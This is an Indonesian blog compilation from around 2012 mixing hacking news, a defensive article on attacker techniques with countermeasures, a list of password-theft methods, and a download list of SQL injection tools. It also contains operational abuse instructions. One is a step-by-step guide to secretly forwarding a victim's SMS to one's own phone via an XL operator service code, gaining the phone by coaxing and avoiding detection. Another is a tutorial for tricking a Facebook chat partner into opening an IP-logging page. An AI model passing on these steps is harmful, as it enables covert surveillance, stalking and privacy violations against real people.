Hacker Facebook Dihukum 8 Bulan Penjara

Glenn Mangham, adalah seorang hacker yang belum lama ini telah membuat berita heboh karena berhasil menembus sistem keamanan situs jejaring sosisal yang sangat populer yaitu Facebook dan mendapatkan akses ke properti intelektual yang “tak ternilai”, atau boleh dikatakan sangat penting/sangat berharga.

Sepak terjang sang hacker ini akhirnya harus berhadapan dengan hukum pengadilan yang menjatuhkan vonis hukuman 8 bulan penjara kepadanya. Walaupun dalam pembelaannya di jelaskan bahwa tindakannya dimaksudkan untuk sekedar menguji dan meningkatkan sistem keamanan pada salah satu raksasa media ini, namun pengadilan tetap kukuh dengan keputusannya untuk tetap memberikan sanksi atas tindakan sang hacker.

Menurut “The Guardian,” Mangham yang berusia 26 tahun ini mulai menyusup ke dalam sistem Facebook pada tahun lalu dari rumah orang tuanya dengan melanggar akses ke akun salah seorang karyawan yang pada saat itu sedang berlibur.

Pengacaranya mencoba meyakinkan pengadilan bahwa kliennya sebenarnya seorang "hacker etis" yang hanya ingin membantu situs media sosial dalam meningkatkan tindakan keamanannya. Mirip dengan situasi yang dijelaskan oleh Kevin Mitnick dalam bukunya “Ghost in the wires,” pelaku ingin memproklamirkan dirinya sebagai konsultan keamanan yang mencoba untuk membuktikan bahwa ia melakukannya untuk bersenang-senang semata dan bukan untuk mendapatkan keuntungan.

Menurut Mangham: "Tindakan ini adalah untuk mengidentifikasi kerentanan dalam sistem, sehingga saya dapat menyusun laporan yang kemudian bisa saya bundel ke Facebook dan menunjukkan kepada mereka apa yang salah dengan sistem mereka."

Namun, jaksa tidak menyerah dan menyatakan sebaliknya bahwa ia menggunakan metode canggih yang dikombinasikan dengan kecerdikannya. Bahkan mereka mengatakan bahwa untuk untuk jangka panjang kejadian ini adalah "insiden yang paling luas dan berat bagi tindakan hacking pada media sosial untuk dibawa ke pengadilan Inggris."

Untungnya bagi sang hacker, Hakim McCreath tidak terpengaruh oleh laporan awal yang dikeluarkan oleh otoritas AS yang takut bahwa Facebook mungkin telah menjadi target perusahaan spionase. Dia mengakui bahwa Mangham tidak memiliki maksud kriminal dan tindakannya ini tidak pernah dimaksudkan untuk memperoleh keuntungan finansial.

Dalam keputusannya, sang hakim menjelaskan, bahwa: "Tapi ini bukan hanya eksperimen yang sedikit berbahaya. Anda mengakses pusat dari sistem bisnis internasional yang berukuran besar, jadi ini bukan hanya tentang mengutak-atik catatan bisnis dari beberapa bisnis kecil yang mungkin tidak terlalu penting."

Karena perilakunya yang cerdik dan canggih, belum lagi fakta bahwa ia telah bersalah karena mempertaruhkan reputasi salah seorang karyawan Facebook, hakim menganggap tindakan ini tidak bisa dibiarkan begitu saja sehingga ia menjatuhkan hukuman 8 bulan penjara dan memberi pencegahan atas kejahatannya dengan membatasi dia dari akses Internet.

Sumber : http://beritanet.com/Technology/Berita-IT/8_Bulan_Penjara_Buat_Sang_Hacker.html

Macam-macam Kode Error pada Internet dan Pengertiannya

Sadap SMS melalui Hape Biasa

Sekarang sudah ada cara sadap/mengalihkan panggilan, sms, telepon, pembicaraan private bahkan BBM juga bisa disadap. Kalau kamu ingin tahu cara menyadap dengan cara mudah, kamu cukup punya handphone biasa saja. Dengan handphone biasa ini, kamu dapat menyadap sms orang lain tanpa aplikasi apa pun yang diinstal. Langsung saja, saya berbagi trik sadap sms dengan menggunakan trik operator selular.

Bagi kamu para pengguna operator selular XL, kamu sangat beruntung. Karena dengan menggunakan operator ini, kamu dapat melakukan penyadapan secara sederhana. Dan kamu dapat membaca petunjuk berikut ini.

1. Siapkan gadget orang yang ingin kamu sadap. ( Agak dirayu dikit untuk mendapatkan gadgetnya )

2. Ketik *123*571# di gadget korban, lalu kamu tekan CALL.

3. Setelah itu kamu akan mendapat beberapa pilihan, jadi kamu pilih no 2 ( Layanan Lain )

4. Dari pilihan tadi, akan muncul 2 pilihan baru, yaitu :

• AUTO FORWARD => Menerima SMS orang lain langsung tanpa masuk ke no HP korban.
• AUTO COPY => Menerima SMS orang lain yang masuk ke no HP korban dan juga ke no HP kamu sendiri.

5. Setelah itu, kamu pilih yang AUTO COPY, agar kamu dapat mengetahui lebih detail lagi tanpa ketahuan. Dan kemudian, kamu tungggu konfirmasi dari operator XL untuk pemotongan biaya ( 1000/ bulan )

6. Lalu kamu mengirim sms dari HP korban dengan format : COPY ON lalu kirim ke no HP kamu. Maka proses sadap SMS sudah berhasil.

OK, Selamat mencoba.

http://life.xl.co.id/layanan/index.do 

Sumber : http://blog.cyber4rt.com/2012/04/sadap-sms-di-handphone-biasa.html

Mengatasi Blog Anti Copy Paste / Klik Kanan

Waspadai Kejahatan Hackers Ancam “Keamanan” Anda

Aktifitas hackers (*sesungguhnya yang  saya maksudkan adalah crackers, tapi media massa telah salah mempopulerkannya*) adalah nyata dan menjadi ancaman serius yang terus menerus berkembang serta dapat mengganggu kegiatan bisnis. Mereka masuk dalam sistem internal perusahaan melalui sambungan internet / LAN atau kegiatan secara fisik lainnya yang memungkinkan mereka terhubung ke terminal komputer.
Berikut disampaikan secara umum beberapa tehnik yang biasa dipakai hackers untuk mendapatkan akses ilegal ke sumber daya komputer.
A. Mencuri akses log-in yang dipakai
Untuk melakukan akses ilegal ke dalam sistem komputer salah satunya adalah dengan mendapatkan akses log-in yang dipakai. Hal ini bisa dilakukan ketika hacker secara fisik berada di dekat fasilitas komputer atau berusaha mengakses sistem melalui koneksi dial-in.
1. Mencuri akses secara fisik : tahap penting dalam menjaga keamanan sistem informasi adalah menjamin bahwa akses secara fisik ke sumber daya komputer adalah terbatas. Orang dalam atau luar yang secara fisik mempunyai akses ke terminal komputer akan memiliki kesempatan mendapatkan log-in yang sedang digunakan.
2. Mendapatkan akses melalui dial-in : metode lain untuk mendapatkan akses log-in adalah dengan melakukan dial-in ke host. Program “daemon dialers”, yang banyak tersedia di internet, dapat mengidentifikasi ID modem yang sedang berlaku. Sekali hackers mengetahui ID modem suatu terminal/host, dia dapat melakukan dial-in dan mendapatkan akses log-in yang dipakai.
Untuk meminimalisir potensi pelanggaran akses log-in ini dapat dilakukan langkah-langkah :
- Terminal komputer diletakkan (secara fisik) ditempat yang aman;
- Pengamanan dan pengendalian akses yang baik dipasang pada semua jendela dan pintu tempat dimana hardware komputer berada;
- Komputer yang diletakkan diluar area yang diamankan dan terhubung ke jaringan perusahaan, harus menggunakan password yang baik;
- Mematikan modem ketika tidak digunakan;
- Menggunakan fasilitas call-back, memberikan ekstra otentikasi, atau menggunakan one-time password;
- Menghilangkan logo dan nama organisasi dari layar log-in untuk menghilangkan tanda pengenal, sehingga hackers tidak dapat mengetahui dengan cepat sistem mana yang dimasuki;
- Menggunakan alarm atau pesan peringatan saat pihak yang tidak berhak memasuki sistem dan mencatat aktifitasnya.
B. Mencuri password
Beberpa tehnik yang populer untuk mencuri password adalah :
1. Brute Force Attacks : merupakan usaha menebak password baik secara manual ataupun otomatis. Umumnya hackers memiliki daftar password yang berisi koleksi password default yang terpasang secara otomatis saat suatu program diinstal. Program penebak password banyak tersedia juga di internet.
2. Password cracking : merupakan program untuk mendapatkan password dengan memanfaatkan celah keamanan. Program ini banyak tersedia di internet, misalnya program Crack. Crack bekerja dengan cara menyandi kamus standar dan kemudian membandingkannya dengan password yang disandi oleh sistem sampai menemukan kata-kata yang cocok.
Untuk menghindari pencurian password dapat dilakukan langkah-langkah :
- Mem-password semua user account;
- Ganti default password segera setelah instal program;
- Gunakan kata-kata / frasa yang sukar ditebak;
- Ganti password secara periodik;
- User account yang sudah tidak terpakai segera dihapus;
- Password yang telah disandi disimpan dalam file yang terlindung dengan baik (disamarkan);
- Jangan menuliskan password didekat terminal komputer / work station;
- Usahakan hanya sedikit orang yang memiliki akses terhadap sistem administrator, untuk menghindari resiko peng-copy-an password yang sedang digunakan;
- Memberikan pengertian kepada user akan pentingnya mengelola, menjaga keamanan password yang dimiliki.
3. Keystroke logging : tehnik ini sangat sederhana dan hampir selalu tidak terdeteksi. Hackers dapat menggunakan sebuah disket untuk menginstal program key-stroke logging melalui work-station. Sekali program ini masuk ke dalam sistem, dia akan menetap di dalam sistem dan menangkap setiap sign-on berdasarkan kata kunci pembukanya. Hacker dapat memanfaatkan sign-on yang tertangkap tersebut dari jauh (remote location).
Untuk mencegah aksi ini :
- Gunakan one-time password untuk sign-on pada account dengan tingkat sensitif tinggi;
- Secara periodik lakukan scanning untuk mengetahui trojan atau malware lain yang terlanjur masuk kedalam sistem;
- Tempatkan hardware komputer di tempat yang terlindung dan diberi pembatasan akses.
4. Packet sniffing : program-program network monitoring tools seperti network analyzers dan packet sniffers tersedia sangat banyak di internet. Tool ini bekerja dengan cara menangkap paket data yang ditransmisikan melalui saluran komunikasi. Terkadang hacker juga melakukan packet sniffer dengan cara menghubungkan laptopnya ke port jaringan perusahaan, baru kemudian melakukan pencurian data.
Lalu-lintas data dalam jaringan hampir dapat dipastikan tidak dibungkus dengan metode penyandian yang baik, sehingga merupakan kesempatan emas bagi hacker untuk mendapatkan user account dan password yang ada di dalam jaringan.
Untuk mencegah dan meminimalisir akibat aksi packet sniffer :
- Jalur komunikasi sedapat mungkin dibagi dalam beberapa bagian;
- Data-data sensitif ditransmisikan melalui jaringan komunikasi dalam bentuk yang sudah disandi dengan metode penyandian yang baik;
- Menggunakan one-time password untuk sign-on pada account dengan tingkat yang sensitif;
- Akses kepada saluran komunikasi dan komputer, secara fisik dibatasi.
5. Social engineering : interaksi sosial yang mengabaikan keamanan informasi menjadi salah satu cara hackers untuk mendapatkan data sensitif secara langsung ataupun tidak langsung dari user.
Untuk mencegah kebocoran informasi melalui kegiatan ini :
- Secara periodik dilakukan penyegaran dan sosialisasi pentingnya menjaga keamanan informasi yang dimiliki;
- Melakukan pencatatan dan dokumentasi atas semua prosedur pengendalian akses;
- Membangun kesadaran pengamanan informasi di seluruh staf baik manajemen maupun operasional;
- Waspada terhadap pesan tipuan yang berisi “permintaan konfirmasi password”, “reset password” atau “lupa password”.
C. Metode lainnya untuk mencuri akses
1. IP address spoofing : adalah salah satu cara pengelabuan yang membuat untrusted host terlihat seperti trusted host dalam sebuah jaringan. Hal ini terjadi karena hackers merubah IP address host tersebut sehingga menyerupai trusted host. Dengan kata lain penyusup menipu host dalam jaringan sehingga penyusup tersebut tidak perlu melakukan otentikasi untuk dapat terhubung dengan jaringan lokal.
Untuk menangkal serangan ini dilakukan :
- Mengkonfigurasi firewall dan router sedemikian rupa agar dapat menangkal serangan IP spoofing;
- Hanya host yang dinyatakan aman yang diijinkan untuk terhubung ke dalam jaringan.
2. Terminal yang tidak dijaga : sering terjadi sebuah terminal dalam keadaan sign-on ditinggalkan oleh user, entah ke toilet atau istirahat makan. Bila kebetulan ada hacker yang secara fisik berada di tempat tersebut, maka hacker akan mempunyai kesempatan untuk mengakses data secara ilegal atau memasukkan trojan ke dalam sistem.
Untuk meminimalisir kejadian tersebut :
- Gunakan screen server yang dipasangi password, yang otomatis dijalankan setelah beberapa menit tidak ada aktifitas dalam sistem;
- Memberi pengertian pada user untuk selalu melakukan sign-off setiap kali meninggalkan terminal;
- Melakukan pengawasan ditempat dimana terminal tersebut berada.
3. Writeable set user ID files : beberapa sistem menyediakan sebuah file penyimpan user ID untuk mengakses terminal. Hacker akan mencari file yang diidentifikasikan sebagai set-user-ID (SUID) tersebut dan mencoba menuliskan kode tambahan kedalam SUID agar mendapatkan akses menuju root.
Untuk mencegah penyusupan ini :
- Dilakukan pembatasan terhadap program yang dapat mengakses SUID;
- SUID dikonfigurasikan sedemikian rupa sehingga hanya dapat diubah melalui root;
- Hanya user yang terdaftar dalam sistem yang dapat menulis di file SUID.
4. Laporan dari Computer Emergency Response Team (CERT) : CERT selalu memberikan laporan-laporan tentang celah keamanan yang teridentifikasi. Namun eksploitasi ini sering dimanfaatkan oleh pihak yang bermaksud jahat untuk mendapatkan keuntungan dengan memasuki sistem secara ilegal. Hackers selalu mengikuti laporan CERT ini untuk mengidentifikasi bugs baru dari suatu sistem.
Administrator jaringan dan profesional keamanan informasi perlu mengikuti dengan cermat laporan-laporan CERT, melakukan checksum untuk menguji hasil-hasil yang dilaporkan CERT sebelum diimplementasikan dan melakukan penutupan celah keamanan yang teridentifikasi.
5. Hackers bulletin board : hackers dari seluruh dunia saling bertukar informasi dalam internet melalui forum atau milis dan bahkan menerbitkan laporan/tulisan dalam buletin. Mereka membahas masalah celah keamanan, keamanan sistem informasi, berbagi tehnik dan program baru, atau bahkan membahas informasi sensitif milik organisasi tertentu.
Administrator dan profesional keamanan jaringan perlu juga secara teratur mengikuti perkembangan pembahasan di forum hackers, dengan tujuan memperkuat sistem keamanan informasi dalam organisasinya.
6. Software di internet : internet banyak sekali menyediakan program/tools yang dapat digunakan oleh administrator untuk membantu melindungi komputer dan membantu melakukan scanning celah keamanan. Namun tool tersebut juga dipakai para hacker untuk maksud yang sebaliknya.
Administrator jaringan perlu secara teratur melakukan audit terhadap sistemnya. Audit ini dapat dilakukan secara internal ataupun melalui konsultan independen. Selain itu secara reguler administrator perlu mengecek versi terakhir dari tool yang digunakan untuk membantu keamanan sistem. Serta pastikan setiap celah keamanan yang ditemukan telah diatasi dengan baik. SUMBER : http://cakrawalainterprize.com/2010/12/25/waspadai-kejahatan-hackers-ancam-%E2%80%9Ckeamanan%E2%80%9D-anda/

Simple Background SlideShow with jQuery

Bebagai Cara Membajak Password

Ada banyak cara untuk mendapatkan suatu password / membajak password / crack password. Beberapa diantaranya tidak membutuhkan keahlian khusus. Berikut adalah cara-cara yang paling umum dan paling sering digunakan :
[1]. Social Engineering
[2]. KeyLogger
[3]. Web Spoofing
[4]. Menghadang Email
[5]. Password Cracking
[6]. Session Hijacking
[7]. Menjadi Proxy Server
[8]. Memanfaatkan Kelalaian User Dalam Penggunaan FiturBrowser
[9]. Googling
[10]. Phising

[1]. Social Engineering

Social Engineering adalah nama suatu tehnik pengumpulan informasi dengan memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai ‘penipuan’ Sosial Engineering membutuhkan kesabaran dan kehati-hatian agar sang korban tidak curiga. Kita dituntut untuk kreatif dan mampu berpikiran seperti sang korban.
Social Engineering merupakan seni ‘memaksa’ orang lain untuk melakukan sesuatu sesuai dengan harapan atau keinginan anda. Tentu saja ‘pemaksaan’ yang dilakukan tidak secara terang-terangan atau diluar tingkah laku normal yang biasa dilakukan sang korban. Manusia cenderung untuk percaya atau mudah terpengaruh terhadap orang yang memiliki nama besar, pernah (atau sedang berusaha) memberikan pertolongan, dan memiliki kata-kata atau penampilan yang meyakinkan. Hal ini sering dimanfaatkan pelaku social engineering untuk menjerat korbannya. Seringkali sang pelaku membuat suatu kondisi agar kita memiliki semacam ketergantungan kepadanya.Ya, tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan membuat ( seolah – olah hanya ) dialah yang bisa mengatasi masalah itu. Dengan demikian,tentu kita akan cenderung untuk menuruti apa yang dia instruksikan tanpa merasa curiga.
Sosial Engineering adakalanya menjadi ancaman serius. Memang sepertinya tidak ada kaitan dengan teknologi, namun sosial engineering tetap layak diwaspadai karena bisa berakibat fatal bagi sistem anda. Why?? Karena bagaimanapun juga suatu komputer tetap saja tidak bisa lepas dari manusia. Ya, tidak ada satu sistem komputerpun di muka bumi ini yang bisa lepas dari campur tangan manusia. sehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker melalui social engineering, maka bisa jadi anda sendirilah yang membukakan jalan masuk bagi sang attacker.
[2]. KeyLogger

KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan ketukan keyboard user. Aplikasi ini mampu mengenali form-form sensitif seperti form password misalnya.
Ada cara aman untuk menghindari keyloger:
1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[]. Kebanyakan keyloger akan mengabaikan karakter ini sehingga sang pelaku (pemasang keyloger) tidak akan mendapatkan password anda yang sebenarnya.
2. Persiapkan password dari rumah, simpan dalam bentuk teks. Saat ingin memasukkan password, tingal copy-paste ajah. Keyloger akan membaca password anda berdasarkan ketukan keyboard. Namun cara ini agak beresiko. Mengapa? karena saat anda melakukan copy, data anda akan tersimpan di clipboard. Saat ini banyak dijumpai software-software gratis yang bisa menampilkan data dalam clipboard.
[3]. Web Spoofing

Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya, itulah salah satu contoh nyata dari Web spoofing. Inti dari tehnik ini ialah dengan memanfaatkan kesalahan user saat mengetikkan alamat situs pada address bar. Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira dia sedang mengakses suatu situs tertentu, padahal bukan.
Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan situs aslinya sehingga sang korban yang terkecoh tidak akan merasa ragu mengisikan informasi sensitif seperti user name dan Passwordnya. Padahal, karena situs tersebut adalah situs tipuan, maka semua informasi berharga tadi terekam oleh webserver palsu, yaitu milik sang pelaku.
[4]. Menghadang Email

Menghadang email? Ya, dan sangat mudah untuk melakukan hal ini. Salah satu cara adalah dengan menggunakan mailsnarf yang terdapat pada utility dsniff. Cara kerja Mailsnarf adalah dengan menghadang paket data yang lewat di Internet dan menyusunnya menjadi suatu email utuh.
Dsniff dan mailsnift merupakan software bekerja atas dasar WinPcap (setara dengan libcap pada Linux) yaitu suatu library yang menangkap paket-paket data. Paket-paket yang ditangkap ini akan disimpan dalam bentuk file oleh Windump, sedangkan Dsniff dan MailSnarf bertindak lebih jauh lagi yaitu menganalisa paket-paket data ini dan menampilkan password (dsniff) atau isi email (mailsnarf).
[5]. Password Cracking

‘Hacking while sleeping.’ itulah ungkapan yang biasa dipakai oleh orang-orang yang melakukan password cracking. Mengapa? Karena pada umumnya dibuthkan waktu yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan berhari – hari! Semua itu tergantung dari target, apakah sang target menggunakan password yang umum, password memiliki panjang karakter yang tidak biasa, atau password memiliki kombinasi dengan karakter-karakter special.
Salah satu software yang biasa digunakan untuk melakukan hal ini ialah dengan mengunakan Brutus, salah satu jenis software remote password cracker yang cukup terkenal. Brutus bekerja dengan teknik dictionary attack atau bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan NetBIOS.
Dictionary Attack bekerja dengan mencobakan kata-kata yang ada dalam kamus password. Sedangkan brute – force attack bekerja dengan mencobakan semua kombinasi huruf, angka, atau karakter.
Brute Force Atack bekerja sangat lambat dan membutuhkan waktu yang lama tergantung dari jenis spesifikasi komputernya dan panjang karakter passwordnya. Saat ini telah banyak situs yang menutup akses terhadap akses terhadap usaha login yang secara terus-menerus tidak berhasil.
[6]. Session Hjacking

Session hijacking dewasa ini semakin marak dikalangan para attacker. Session Hijacking biasa dilakukan dengan melakukan peniruan cookies. Jadi pada intinya, kita harus bisa meniru cookies sang korban untuk mendapatkan sesi loginnya.
Lalu bagaimana cara mendapatkan cookies sang korban?
1. Dengan analisa Cookies.
Cara ini relatif sulit dilakukan.
2. Mencuri Cokies.
Misalnya Sang Attacker ingin mendapatkan account si A. Sang Attacker bisa dengan mudah membuat semacam script Java Script yang disisipkan dalam email untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar cookiesnya akan dicuri dan direkam ke suatu webserver dengan memanfaatkan suatu script PHP.
Belakangan ini yang paling sering menjadi incaran adalah account Friendster. Ada yang menyisipkan suatu scipt lewat testimonial, ada yang menyisipkannya di profilnya sendiri untuk mencuri cookies sang korban dan lain sebagainya. Saya memiliki tips untuk ini:
1. Jangan menggunakan browser Internet Explorer
Saat ingin membuka profil orang lain, jangan menggunakan Internet Explorer. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu dari account anda dan bersihkan semua cookies, baru kemudian bukalah profil Friendster tujuan.
2. Periksa Source CODEnya
Ketika menerima testimonial, periksa terlebih dahulu source codenya. Apakah disana terdapat script asing atau kata-kata yang identik dengan pembajakan seperti :
‘HACKED’, ‘DEFACED’, ‘OWNED’.. dll..
Jika ragu-ragu……. reject ajah..
3. LogOUT tiba-tiba.
Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda logout dengan sendirinya dari account anda. Saat anda diminta memasukkan username dan password, lihat dulu addressbar anda! apakan anda sedang berada di situs yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat pada form action, kemana informasi anda nantinya akan dikirim.
Sebenarnya session hijacking bisa dicegah jika saja sang penyedia layanan memperhatikan hal-hal berikut:
1. Menetapkan session identifier yang unik
2. Menetapkan sistem identifier berpola acak
3. Session identifier yang independen
4. Session identifier yang bisa dipetakan dengan koneksi
client side.
Fenomena lain adalah, hingga saat artikel ini diterbitkan, ternyata masih banyak dijumpai para user yang tidak melakukan sign out setelah membuka accountnya. Dengan demikian, orang lain yang mengunakan komputer itu dan membuka website yang sama dengan yang telah dibuka oleh orang pertama akan otomatis login ke account sang korban.
[7]. Menjadi Proxy Server

Kita bisa mengumpulkan informasi dengan menjadi proxy server bagi korban untuk dapat berselancar. Dengan menjadi proxy server, seluruh identitas sang peselancar bisa menjadi milik kita.
[8]. Memanfaatkan Kelalaian user dalam penggunaan fiturbrowser

Setiap browser tentunya memiliki fitur yang ditujukan untuk kemudahan dan kenyamanan penggunanya dalam berselancar. Diantaranya ialah dengan adanya cache dan Password Manager.
Di Internet tentunya banyak suatu website yang isinya tidak berubah dalam beberapa hari (Contohnya spyrozone.tk nich.. hehehe Nah, untuk situs yang seperti ini cache menjadi hal yang sangat berguna. Cache akan menyimpan file-file hasil browsing sehinga nantinya jika anda berkunjung lagi ke situs tersebut browser tidak perlu lagi melakukan download untuk kedua kalinya dari server sehingga setiap halaman situs yang telah anda buka sebelumnya akan terbuka dengan lebih cepat. Semua itu biasanya diatur oleh header time to live.
Lho, bagaimana dengan situs-situs penyedia berita yang selalu up to date? Untuk site yang seperti itu, time to live-nya akan di set=0 sehinga nantinya anda akan terus melakukan download setiap kali berkunjung.
Cukup nyaman bukan? Ya, tapi ancaman mulai timbul. Cobalah kini anda jelajahi opsi-opsi yang berkaitan dengan cache pada browser anda. Tentu anda bisa menemui bahwa ada fasilitas untuk menentukan berapa besarnya file temporary yang bisa disimpan di harddisk. Cari juga lokasi dimana file-file tersebut akan disimpan.
Coba anda buka folder tersebut, anda akan menemui file-file html & file-file gambar dari site-site yang sudah anda kunjungi. Pada Browser IE, anda bisa melihat lokasi file cache dengan menjelajahi menu Tools — Internet options — Settings
Lalu apa yang bisa didapatkan?? toh cuma file-file ‘sampah’?? Hmm… sekarang coba anda copy semua file yang ada di sana ke suatu folder. Lalu bukalah salah-satu file htmlnya. Jika itu komputer publik,anda bisa mengetahui situs apa saja yang telah diakses oleh oleh orang sebelum anda.
Hmm.. hanya dengan melihat file temporary anda bahkan bisa melihat password dan dll. Banyak saya temui situs yang menyimpan password dan menampilkannya pada url. Tentunya anda juga pasti sering membacanya di berbagai tutorial.
Kebanyakan browser pada saat ini memiliki fasilitas untuk menyimpan password. Misalnya saat meggunakan Mozilla Firefox, anda pasti sering menerima kotak dialog konfirmasi yang menanyakan apakah anda ingin password anda disimpan atau tidak oleh PasswordManager. Kebanyakan user cenderung untuk memilih opsi YES, entah itu dengan penuh kesadaran atau memang mereka tidak tau ( baca: tidak mau tau) apa maksud dari kotak dialog itu.
Orang lain yang kemudian mengunakan browser itu bisa dengan sangat mudah mendapatkan password korban dengan memasuki menu Tools — Options — Security – Saved password.
Contoh lain adalah fasilitas wand password yang dimiliki oleh browser Opera. Saat anda memasukkan user name dan password pada suatu form dan menekan tombol submit, opera secara default akan meminta konfirmasi kepada anda apakah anda ingin browser menyimpan id dan password anda atau tidak. Lagi dan lagi… kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi ‘YES’.
Lalu?? Orang lain yang kemudian menggunakan browser itu bisa melihat situs apa saja yang telah diakses oleh user, arahkan browser ke situs tersebut, letakkan cursor pada form isian user name, tekan [ALT]+[ENTER] dan BOOOMM!!!! Kenapa?? Jangan kaget dulu!! Hehehe.. form login akan otomatis terisi dengan user name korban lengkap dengan passwordnya (It’s fun enough..
Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!
[9]. Googling

Google.com. Banyak sudah situs yang runtuh, password dan nomor – nomor kartu kredit yang dicuri akibat dari ulah orang yang menyalahgunaan kesaktiannya Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan kata kunci tertentu yang berkaitan dengan user name dan password, anda bisa memanen ratusan password user melalui google. Tapi sekarang tampaknya anda harus gigit jari jika menggunakan cara diatas
Jangan sedih dulu karena Google baru saja menelurkan produk barunya, yaitu Google Code Search. Ancaman baru mulai timbul, ‘si pintar’ ini kini dapat meng-crawl hingga kepada archive file yang berada di public directory web server. Hati-hati yang punya kebiasaan untuk menyimpan informasi penting di dalamnya (password, dan info berharga lainnya) Sebaiknya mulai sekarang kebiasaan itu dihilangkan. Selalu proteksi folder-folder yang sensitif agar situs anda bisa hidup lebih lama. Kalo nggak… yach.. tunggu ajah ada orang yang memanfaatkan produk baru google ini untuk mengeruk informasi sensitif dari web server anda. dan jika itu sudah terjadi… maka bersiaplah.. ‘taman bermain’ anda akan diambil alih olehnya..

[10] Phising

Phising , adalah tindakan memperoleh informasi pribadi seperti User ID, PIN, nomor rekening, nomor kartu kredit Anda secara tidak sah. Informasi ini kemudian akan dimanfaatkan oleh pihak penipu untuk mengakses rekening, melakukan penipuan kartu kredit atau memandu nasabah untuk melakukan transfer ke rekening tertentu dengan iming-iming hadiah

Aksi ini semakin marak terjadi. Tercatat secara global, jumlah penipuan bermodus phising selama Januari 2005 melonjak 42% dari bulan sebelumnya. Anti-Phishing Working Group (APWG) dalam laporan bulanannya, mencatat ada 12.845 e-mail baru dan unik serta 2.560 situs palsu yang digunakan sebagai sarana phishing.

Selain terjadi peningkatan kuantitas, kualitas serangan pun juga mengalami kenaikan. Artinya, situs-situs palsu itu ditempatkan pada server yang tidak menggunakan protokol standar sehingga terhindar dari pendeteksian

Bagaimana phishing dilakukan?

Teknik umum yang sering digunakan oleh penipu adalah sebagai berikut:

• Penggunaan alamat e-mail palsu dan grafik untuk menyesatkan Nasabah sehingga Nasabah terpancing menerima keabsahan e-mail atau web sites. Agar tampak meyakinkan, pelaku juga seringkali memanfaatkan logo atau merk dagang milik lembaga resmi, seperti; bank atau penerbit kartu kredit. Pemalsuan ini dilakukan untuk memancing korban menyerahkan data pribadi, seperti; password, PIN dan nomor kartu kredit
• Membuat situs palsu yang sama persis dengan situs resmi.atau . pelaku phishing mengirimkan e-mail yang berisikan link ke situs palsu tersebut.
• Membuat hyperlink ke web-site palsu atau menyediakan form isian yang ditempelkan pada e-mail yang dikirim.

 

Kumpulan Link Buat Ngerjain Temen

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Cara Mengetahui IP Lawan via Chatting Facebook

Silakan disimak tutorial ini, untuk mengetahui IP publik teman chatting anda

Tutorial ini digunakan untuk mengetahui IP lawan dengan cara chat di FaceBook.
Hal ini bermanfaat untuk mengidentifikasi lawan melalui media Social Engineering.

Ada beberapa yang perlu disiapkan yaitu:

1. Sebuah SERVER HOSTING yang bisa dipakai untuk menyimpan file logger.
2. Sebuah LINK content / halaman menarik yang dapat digunakan untuk mengalihkan perhatian lawan.
3. FILE LOGGER itu sendiri.

Instalasi FILE LOGGER kedalam CONTENT:

1. Bikin sebuah artikel yang indah & menarik, sehingga akan banyak orang yang akan melihat.
2. Kemudian buatlah file HTML, misalkan simpan difile: “galau.html“.
3. Pada sela-sela code html tersebut, masukkanlah / inject code logger kedalam source htmlnya.
4. Sesuaikan / edit alamat email untuk pengiriman hasil IP target di dalam code loggernya.
5.  Kemudian upload file tersebut ke server hosting.
6. Pastikan serverhosting memiliki kemampuan  pengiriman email seperti: SMTP / POP3
7. Nanti file tersebut dibuka dengan: http://www.situsanda.com/galau.html

Cara yang dipakai disini adalah:

1. Berusaha chatting dengan lembut dan baik dengan lawan chatting kita.
2. Kemudian rayulah lawan untuk dapat meng-klik LINK yang sudah kita berikan tadi.
3. Konfirmasikan ke lawan apakah sudah membaca link dengan cara menanyakan apa isi linknya.
4. Link yang anda kirimkan adalah link logger yang tadi yaitu http://www.situsanda.com/galau.html

Setelah dapat dipastikan bahwa lawan kita sudah melihat link tersebut.
Maka, jreeengggggg.. kita lihat hasilnya. Itulah dia IP lawan chatting kita di Facebook.




File yang dibutuhkan, silakan download disini:

Selamat mencoba & semoga berhasil

Hacking Tools 2012 – Cracking Tools 2012

Berikut ini adalah Download Hacking Tools 2012, Hacking Tools 2012, Tools Hacking 2012, Cracking Tools 2012, Tools Cracking 2012, Tool Hack 2012, Tool Crack 2012, Tool Hacking 2012, Tool Cracking 2012, Tool Hacker 2012, Tool Cracker 2012, Tools Hacker 2012, Tools Cracker 2012 yang mungkin bisa bermanfaat untuk bisa anda pakai di 2012. Happy Hacking All:

Ayo Download Hacking Tools 2012 – Hacker Tools 2012 – Hack Tool 2012 – Hacker Tool 2012 – – Hacking Tool 2012 – Hack Tool 2012 – Cracking Tools 2012 – Cracker Tools 2012 – Cracking Tool 2012 – Cracker Tool 2012 – Crack Tools 2012 – Crack Tool 2012..
1. MySQL Password Auditor: Tools untuk melakukan audit / melakukan recovery password di MYSQL:

Download MySQL Password Auditor
2. Mole SQL Injection: Tool yang biasa digunakan untuk melakukan SQL Injection di website, sangat mudah dan nyaman.

Mole Untuk Windows & Mole Untuk Linux
3. X-SCAN: Tools ini digunakan untuk melakukan pengecekan vulnerability terhadap network.

Download X-SCAN
4. SQLSUS SQL Injection: Ini adalah tools untuk melakukan SQL Injection juga, di buat dengan bahasa perl, jadi harus install perl untuk bisa menggunakan tools ini.

DOWNLOAD SQLSUS
5. W3AF Web Application Attack and Audit Framework: Merupakan tool untuk melakukan attack dan audit terhadap aplikasi website, tool ini sangat populer saat ini.

DOWNLOAD W3AF
